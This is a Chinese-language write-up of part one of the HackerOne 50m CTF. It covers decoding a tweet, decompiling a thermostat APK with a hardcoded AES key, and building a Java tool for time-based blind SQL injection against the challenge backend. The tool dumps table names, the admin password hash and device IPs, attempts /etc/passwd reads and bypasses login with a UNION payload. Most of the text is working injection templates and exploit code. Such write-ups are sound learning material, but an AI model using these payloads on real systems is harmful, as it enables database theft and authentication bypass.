Hackerone 50m-ctf writeup(第一部分)
bbdog CTF 9212浏览 · 2019-04-15 01:30

总结:

有关挑战的简要概述,您可以查看以下图像:

下面我将详细介绍我为解决CTF而采取的每一步,以及在某些情况下导致我走向死胡同的所有错误假设。

Twitter

CTF从这条tweet开始:

这些二进制是什么?

我的第一个想法是尝试解码图像上的二进制。我还注意到在'_'字符后,二进制数字与前面的相同,即:

01111010 01101100 01101001 01100010 00101011 01111000 10011100 01001011 11001010 00101100 11010001 01001011 11001001 11010111 11001111 00110000 00101100 11001001 01001000 00101101 11001010 00000101 00000000 00100101 11010010 00000101 00101001

所以,让我们看看这是否会转换成任何ascii码或可读的内容(python3的环境)

>>> bin_array_image = ['0b01111010', '0b01101100', '0b01101001', '0b01100010', '0b00101011', '0b01111000', '0b10011100', '0b01001011', '0b11001010', '0b00101100', '0b11010001', '0b01001011', '0b11001001', '0b11010111', '0b11001111', '0b00110000', '0b00101100', '0b11001001', '0b01001000', '0b00101101', '0b11001010', '0b00000101', '0b00000000', '0b00100101', '0b11010010', '0b00000101', '0b00101001']
>>> s = ''.join(chr(int(x,2)) for x in bin_array_image)
>>> print(s)
zlib+x�KÊ,ÑKÉ×Ï0,ÉH-Ê� %Ò�)

很好,前五个字符是:zlib +。所以,也许我们应该使用zlib来解压缩剩余的字节。

>>> import zlib
>>> byte_string = bytes([int(x,2) for x in bin_array_image][5:])
>>> print(zlib.decompress(byte_string))
b'bit.do/h1therm'

好。现在我们有一个重定向到Google云端硬盘中的APK文件的网址。我们下载吧。

APK

作为我的第一步,我使用JADX反编译应用程序并开始检查代码:

阅读AndroidManifest.xml我可以找到两个activity类:com.hackerone.thermostat.LoginActivitycom.hackerone.thermostat.ThermostatActivity

LoginActivity.class

LoginActivity的核心功能是对用户进行身份验证:

private void attemptLogin() throws Exception {
    ...
    JSONObject jSONObject = new JSONObject();
    jSONObject.put("username", username);
    jSONObject.put("password", password);
    jSONObject.put("cmd", "getTemp");
    Volley.newRequestQueue(this).add(new PayloadRequest(jSONObject, new Listener<String>() {
        public void onResponse(String str) {
            if (str == null) {
                LoginActivity.this.loginSuccess();
                return;
            }
            LoginActivity.this.showProgress(false);
            LoginActivity.this.mPasswordView.setError(str);
            LoginActivity.this.mPasswordView.requestFocus();
        }
    }));

attemptLogin中,App构建了一个像这样的json对象:{“username”:“”,“password”:“”,“cmd”:“getTemp”}然后实例化一个PayloadRequest对象,该对象将被添加到一个Volley Queue中去处理。那么让我们看看这个类做了什么。

PayloadRequest.class

public class PayloadRequest extends Request<String> {
     public PayloadRequest(JSONObject jSONObject, final Listener<String> listener) throws Exception {
        super(1, "http://35.243.186.41/", new ErrorListener() {
            public void onErrorResponse(VolleyError volleyError) {
                listener.onResponse("Connection failed");
            }
        });
        this.mListener = listener;
        this.mParams.put("d", buildPayload(jSONObject));
    }

从这里我们可以注意到一个URL http://35.243.186.41/,它可能被用作后端服务器。此外,还有一个名为buildPayload的方法,它将作为d参数的值。

private String buildPayload(JSONObject jSONObject) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec(new byte[]{(byte) 56, (byte) 79, (byte) 46, (byte) 106, (byte) 26, (byte) 5, (byte) -27, (byte) 34, (byte) 59, Byte.MIN_VALUE, (byte) -23, (byte) 96, (byte) -96, (byte) -90, (byte) 80, (byte) 116}, "AES");
        byte[] bArr = new byte[16];
        new SecureRandom().nextBytes(bArr);
        IvParameterSpec ivParameterSpec = new IvParameterSpec(bArr);
        Cipher instance = Cipher.getInstance("AES/CBC/PKCS5Padding");
        instance.init(1, secretKeySpec, ivParameterSpec);
        byte[] doFinal = instance.doFinal(jSONObject.toString().getBytes());
        byte[] bArr2 = new byte[(doFinal.length + 16)];
        System.arraycopy(bArr, 0, bArr2, 0, 16);
        System.arraycopy(doFinal, 0, bArr2, 16, doFinal.length);
        return Base64.encodeToString(bArr2, 0);
    }

buildPayload方法在CBC模式下使用对称密钥算法[4](AES),它使用相同的加密密钥来加密明文和解密密文。而且,secretKeySpec是密钥,PKCS#5是填充方法。因此,我们的json总是被加密发送到后端服务器。此外,还有一种处理响应的方法,称为parseNetworkResponse,它使用相同的算法和密钥。

ThermostatActivity.class

另一个ActivityClass是ThermostatActivity,它两次调用setTargetTemperature并更新thermostatModel属性。同样使用LoginActivity中相同的json对象发送getTemp命令,但正如您所看到的,对结果没有做任何事情(String str)

private void setDefaults(final ThermostatModel thermostatModel) throws Exception {
        thermostatModel.setTargetTemperature(Integer.valueOf(77));
        thermostatModel.setCurrentTemperature(Integer.valueOf(76));
        JSONObject jSONObject = new JSONObject();
        jSONObject.put("username", LoginActivity.username);
        jSONObject.put("password", LoginActivity.password);
        jSONObject.put("cmd", "getTemp");
        volleyQueue.add(new PayloadRequest(jSONObject, new Listener<String>() {
            public void onResponse(String str) {
                thermostatModel.setTargetTemperature(Integer.valueOf(70));
                thermostatModel.setCurrentTemperature(Integer.valueOf(73));
            }
        }));
    }

com.hackerone.thermostat.Model.ThermostatModel

分析其他类,我们找到一个带有setTargetTemperatute方法的ThermostatModel,它给我们另一个命令:setTemp。这个新命令的有趣之处在于现在我们有了一个新的json属性temp,它是setTemp的参数。

public void setTargetTemperature(Integer num) {
        this.targetTemperature.setValue(num);
        try {
            JSONObject jSONObject = new JSONObject();
            jSONObject.put("username", LoginActivity.username);
            jSONObject.put("password", LoginActivity.password);
            jSONObject.put("cmd", "setTemp");
            jSONObject.put("temp", num);
            ThermostatActivity.volleyQueue.add(new PayloadRequest(jSONObject, new Listener<String>() {
                public void onResponse(String str) {
                }
            }));
        } catch (Exception unused) {
        }
        updateCooling();
    }

Dir Brute

为什么不这样做?我们有一个运行Web服务器的IP,所以让我们看一下今天是否是我们的幸运日,并获得一些唾手可得的结果,找出一个隐藏的端点。使用FFUF

./ffuf -u http://35.243.186.41/FUZZ -w wordlists/SecLists/Discovery/Web-Content/big.txt
./ffuf -u http://35.243.186.41/FUZZ -w wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt

没那么容易......

Creating a Java Application

在初始侦察之后,是时候尝试与后端服务器交互的一些攻击了。为此,我刚刚使用App中的相同源代码创建了一个java应用程序,并进行了少量更改。

public static String sendCommand(String username, String password, String cmd) throws Exception {
        return PayloadRequest.sendCommand(username, password, cmd, null);
    }

    public static String sendCommand(String username, String password, String cmd, String tmp) throws Exception {   
        JSONObject jSONObject = new JSONObject();
            jSONObject.put("username", username);
            jSONObject.put("password", password);
            jSONObject.put("cmd", cmd);
            if( tmp != null) {
            jSONObject.put("temp", tmp);
            }
            return send(jSONObject);
    }

    public static String send(Object jSONObject) throws Exception {
        String payload = PayloadRequest.buildPayload(jSONObject);
            URL url = new URL("http://35.243.186.41");
            HttpURLConnection con = (HttpURLConnection) url.openConnection();
            con.setRequestMethod("POST");

            Map<String, String> parameters = new HashMap<>();
            parameters.put("d", payload);
            ...
            return PayloadRequest.parseNetworkResponse(content.toString());
    }

所以我们现在可以使用上面的sendCommand方法向后端发送命令。我在这里的第一个猜测是尝试一些SQL注入。但是我们有一些限制,因为服务器只返回“无效的用户名或密码”或“Unknown”。第一条消息出现在没有错误但是用户名和密码不匹配的情况,第二条消息出现在某些东西出错的时候。因为这些限制,我们可以尝试2中方法:基于时间的盲注或者基于错误的盲注。让我们用最简单的payload来尝试基于时间的盲注:

System.out.println(PayloadRequest.sendCommand("'||sleep(10)#", "", ""));
// After 10 seconds ...
// {"success": false, "error": "Invalid username or password"}

Time Based SQL Injection

什么?我们找到漏洞了吗?上面的payload经过10秒钟才获得响应!这绝对是我的幸运日......我现在能做什么?也许是启动SQLMap?不,不!这不够31337(不够专业)!让我们用Java创建自己的SQL盲注exp!首先,我们需要比较两个字符,并根据响应时间确定一个布尔值:True或False。我们可以实现如下:

public static boolean blindBoolean(String payload) throws Exception {
        long startTime = System.nanoTime();

    PayloadRequest.sendCommand(payload, "", "");

    long endTime = System.nanoTime();
    long timeElapsed = endTime - startTime;     
    return (timeElapsed / 1000000) > PayloadRequest.TIME_TO_WAIT * 1000;    
    }

为了测量响应时间,我们需要获得调用sendCommand之前的时间和调用之后的时间,然后把2者相减,再与TIME_TO_WAIT相比较,如果所用的时间大于TIME_TO_WAIT则为True否则为False。
现在我们需要一个通用的查询模板,它允许我们从数据库中提取数据:

'||(IF((SELECT ascii(substr(column,{1},1)) from table limit {2},1){3}{4},SLEEP({5}),1))#

以及:

{1} -> %d -> 截取第几个字符
{2} -> 行偏移
{3} -> %c -> 比较操作符 ( =, >, <)
{4} -> %d -> ascii码
{5} -> %d -> 睡眠时间

为了提高性能,我们可以使用二分查找法进行基于时间的布尔检查:

public static String blindString(String injection, int len) throws Exception {  
        StringBuilder value = new StringBuilder("");
        for(int c = 1; c <= len; c++) {
            int low = 10;
        int high = 126;
        int ort = 0;
        while(low<high) {
            if( low-high == 1 ) {
                ort = low + 1;
            } else if ( low-high == -1 ) {
                ort = low;
            } else {
                ort = (low+high)/2;
            }

            String payload = String.format(injection, c, '=', ort, PayloadRequest.TIME_TO_WAIT );
            if( PayloadRequest.blindBoolean(payload) ) {
                value.append( Character.toString( (char) ort));
                break;
                }
            payload = String.format(injection, c, '>', ort, PayloadRequest.TIME_TO_WAIT );
            if( PayloadRequest.blindBoolean(payload) ) {
                low = ort;
                } else {
                high = ort;
            }
            }
        }
        return value.toString();
    }

所有准备看上去都很好那么开始泄漏一些数据:

Database recon

version()

public static String blindVersion() throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(version(),%d,1)))%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, 25);
    }
    // 10.1.37-MariaDB

database()

public static String blindDatabase() throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(database(),%d,1)))%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, 25);
    }
    // flitebackend

hostname + datadir

System.out.println(blindString("'||(IF((SELECT ascii(substr(@@hostname,%d,1)))%c%d,SLEEP(%d),1))#", 20)); 
    // hostname: de8c6c400a9f
    System.out.println(blindString("'||(IF((SELECT ascii(substr(@@datadir,%d,1)))%c%d,SLEEP(%d),1))#", 30));
    // datadir: /var/lib/mysql/

Tables

public static String blindTableName(int offset) throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(table_name,%d,1)) from information_schema.tables where table_schema=database() limit "+offset+",1)%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, 100);
    }
    ...
    PayloadRequest.blindTableName(0); // devices
    PayloadRequest.blindTableName(1); // users
    PayloadRequest.blindTableName(2); // None

flitebackend数据库中找到2张表:devicesusers

Read files?

也许我们可以读取一些文件?

System.out.println(blindString("'||(IF((SELECT ascii(substr(load_file('/etc/hosts'),%d,1)))%c%d,SLEEP(%d),1))#", 20));
    System.out.println(blindString("'||(IF((SELECT ascii(substr(load_file('/etc/passwd'),%d,1)))%c%d,SLEEP(%d),1))#", 20));

我认为不行。

Login

也许你想知道为什么我还没有登录。因为我尝试登录前正在做基于时间的SQL盲注。所以让我们看看我们是否能够使用SQL注入登录:

System.out.println(PayloadRequest.sendCommand("' or 1=1#", "123123", "getTemp")); 
    // {"success": false, "error": "Invalid username or password"}

嗯,我们需要考虑后端如何进行登录处理:

1.SELECT username, password FROM users WHERE username='+ username_param +' and password = '+ password_param +' ?
2.SELECT password FROM table WHERE username='+ username_param +'; then check password?

对于1来说我们已经知道不是这种情况,因为使用'or 1=1#会给我们一个成功的消息。对于2来说我们需要另一个测试,首先,让我们检查一次查询有多少列。

System.out.println(PayloadRequest.sendCommand("' order by 1#", "", "getTemp")); 
    // {"success": false, "error": "Invalid username or password"}.

    System.out.println(PayloadRequest.sendCommand("' order by 2#", "", "getTemp")); 
    // {"success": false, "error": "Unknown"}

好的,基于错误消息,我们可以确认查询中只有一列。因此,我们可以尝试使用UNION伪造成功的查询:

System.out.println(PayloadRequest.sendCommand("' union all select ''#", "", "getTemp")); 
    // {"success": false, "error": "Invalid username or password"}

还是不行,看样子有一些其他的东西,退一步,让我们dump所有的用户表。

users table

首先,我们需要知道表结构。为了方便这个过程,我创建了一个名为blindColumnName的方法,它有两个参数:table和offset。这个方法会dump所有来自table指定的表的所有列名。

public static String blindColumnName(String table, int offset) throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(column_name,%d,1)) from information_schema.columns where table_name='"+table+"' and table_schema = database() limit "+offset+",1)%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, 100);
    }

    ...
    PayloadRequest.blindColumnName("users",0); // id
    PayloadRequest.blindColumnName("users",1); // username
    PayloadRequest.blindColumnName("users",2); // password
    PayloadRequest.blindColumnName("users",3); // None

表结构users(id, username, password)

devices table

和上面的处理相同适用于devices表。

PayloadRequest.blindColumnName("devices",0); // id
    PayloadRequest.blindColumnName("devices",1); // ip
    PayloadRequest.blindColumnName("devices",2); // None

表结构devices(id, ip)

Dumping

知道了表结构,我们可以dump值:

public static String blindUsername(int offset) throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(username,%d,1)) from users limit "+offset+",1)%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, 5);
    }

    PayloadRequest.blindUsername(0); // admin
    PayloadRequest.blindUsername(1); // None

    public static String blindColumnUsersValues(String column, int length) throws Exception {
        String injection = "'||(IF((SELECT ascii(substr("+column+",%d,1)) from users where username = 'admin')%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, length);
    }

    public static String blindPassword() throws Exception {
        return PayloadRequest.blindColumnUsersValues("password", 32);
    }

    PayloadRequest.blindPassword(); // 5f4dcc3b5aa765d61d8327deb882cf99

只有一个用户(“admin”,“5f4dcc3b5aa765d61d8327deb882cf99”)。这是哈希吗?用Google搜索它并找到答案,是的:md5('password')。现在我们可以使用admin:password或甚至使用sqli登录:

System.out.println(PayloadRequest.sendCommand("admin", "password", "getTemp"));
    // {"temperature": 73, "success": true}
    System.out.println(PayloadRequest.sendCommand("' union all select '47bce5c74f589f4867dbd57e9ca9f808'#", "aaa", "getTemp"));
    // {"temperature": 73, "success": true}

是时候dump表devices的数据了。

public static String blindIpDevices(int offset) throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(ip,%d,1)) from devices limit "+offset+",1)%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, 16); // Fixed length
    }
    ...
    PayloadRequest.blindIpDevices(0);
    // Device: 0    192.88.99.253
    PayloadRequest.blindIpDevices(1);
    // Device: 1    192.88.99.252
    PayloadRequest.blindIpDevices(2);
    // Device: 2    10.90.120.23

在获得几个ips后,我注意到大多数都属于私有IP地址。我的第一个想法是构建一个移除所有私有IP地址的查询(参见where子句):

public static String blindDeviceQuery() throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(ip,%d,1)) from devices where substr(ip,1,2) not in ('24', '25') and substr(ip,1,3) not in ('192', '10.', '198') limit 0,1)%c%d,SLEEP(%d),1))#"; 
        return PayloadRequest.blindString(injection, 16);
    }

    PayloadRequest.blindDeviceQuery();
    // 104.196.12.98

太好了!一个真实的IP地址。
原文链接

0 条评论
某人
表情
可输入 255